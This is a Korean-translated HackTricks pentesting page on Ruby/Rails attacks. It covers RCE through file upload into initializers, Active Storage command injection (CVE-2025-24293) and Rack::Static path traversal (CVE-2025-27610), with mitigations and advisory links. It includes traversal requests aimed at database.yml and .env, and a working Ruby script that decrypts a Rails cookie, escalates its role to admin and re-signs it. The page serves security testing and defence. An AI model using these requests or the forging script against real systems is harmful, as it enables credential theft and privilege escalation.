101 lines
5.8 KiB
Markdown

# Ruby 트릭
{{#include ../../banners/hacktricks-training.md}}
## 파일 업로드로 RCE
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
팁:
- 앱 시작 시 실행되는 다른 boot/eager-load 위치들도 쓰기 가능하면 위험합니다(예: `config/initializers/`가 고전적인 예). 임의 파일 업로드가 `config/` 아래 아무 위치에나 놓이고 나중에 평가되거나 require된다면 부팅 시 RCE를 얻을 수 있습니다.
- Rails가 부팅 시 로드하도록 사용자 제어 파일을 컨테이너 이미지에 복사하는 dev/staging 빌드를 찾아보세요.
## Active Storage image transformation → command execution (CVE-2025-24293)
애플리케이션이 Active Storage를 `image_processing` + `mini_magick`과 함께 사용하고 이미지 변환 메서드에 신뢰할 수 없는 파라미터를 전달하면, Rails 7.1.5.2 / 7.2.2.2 / 8.0.2.1 이전 버전에서 일부 변환 메서드가 기본적으로 잘못 허용되어 command injection이 발생할 수 있습니다.
- 취약한 패턴 예:
```erb
<%= image_tag blob.variant(params[:t] => params[:v]) %>
```
여기서 `params[:t]` 및/또는 `params[:v]`는 공격자가 제어할 수 있습니다.
- 테스트 시 시도할 것
- variant/processing 옵션, 변환 이름 또는 임의의 ImageMagick 인수를 받는 엔드포인트를 식별하세요.
- `params[:t]``params[:v]`를 fuzz해서 의심스러운 에러나 실행 부작용을 확인하세요. 메서드 이름에 영향을 주거나 MiniMagick으로 전달되는 원시 인수를 통과시킬 수 있다면 이미지 프로세서 호스트에서 코드 실행을 얻을 수 있습니다.
- 생성된 variant에 대한 읽기 권한만 있다면, 조작된 ImageMagick 연산을 통해 blind exfiltration을 시도하세요.
- 완화/탐지
- Active Storage + `image_processing` + `mini_magick`를 사용하고 사용자 제어 변환이 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1을 보면 exploitable하다고 간주하세요. 업그레이드 권장 메서드/파라미터에 대해 엄격한 allowlists 적용과 강화된 ImageMagick policy를 권장합니다.
## Rack::Static LFI / path traversal (CVE-2025-27610)
타깃 스택이 Rack 미들웨어를 직접 사용하거나 프레임워크를 통해 사용하는 경우, `rack` 2.2.13, 3.0.14, 3.1.12 이전 버전은 `:root` unset/misconfigured일 `Rack::Static` 통해 Local File Inclusion을 허용합니다. `PATH_INFO` 인코딩된 traversal가 있으면 프로세스 작업 디렉터리 또는 예상치 못한 root 아래 파일이 노출될 있습니다.
- `config.ru` 미들웨어 스택에서 `Rack::Static` 마운트한 앱을 찾아보세요. 정적 경로에 대해 인코딩된 traversal를 시도해보세요. 예:
```text
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
```
설정된 `urls:` 맞게 prefix를 조정하세요. 앱이 파일 내용을 응답하면, 해결된 `:root` 아래의 모든 항목에 대해 LFI가 있는 것입니다.
- 완화: Rack을 업그레이드하고 `:root` 공개 파일 디렉터리만 가리키며 명시적으로 설정되어 있는지 확인하세요.
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
최신 쿠키를 복호화하고 재암호화하기 위한 최소한의 Ruby (AES-256-GCM, 최근 Rails의 기본):
```ruby
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])
salt = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"
# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
```
참고:
- 구형 앱은 AES-256-CBC와 `encrypted cookie` / `signed encrypted cookie` 같은 salts, 또는 JSON/Marshal serializers를 사용할 있습니다. 필요에 따라 salts, cipher, serializer를 조정하세요.
- 권한 탈취/평가 , 기존 쿠키를 모두 무효화하려면 `secret_key_base` 회전(rotate)하세요.
## See also (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
{{#ref}}
../../pentesting-web/deserialization/README.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-class-pollution.md
{{#endref}}
{{#ref}}
../../pentesting-web/deserialization/ruby-_json-pollution.md
{{#endref}}
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
{{#ref}}
../../pentesting-web/ssti-server-side-template-injection/README.md
{{#endref}}
## References
- Rails 보안 공지: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- GitHub 권고: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
{{#include ../../banners/hacktricks-training.md}}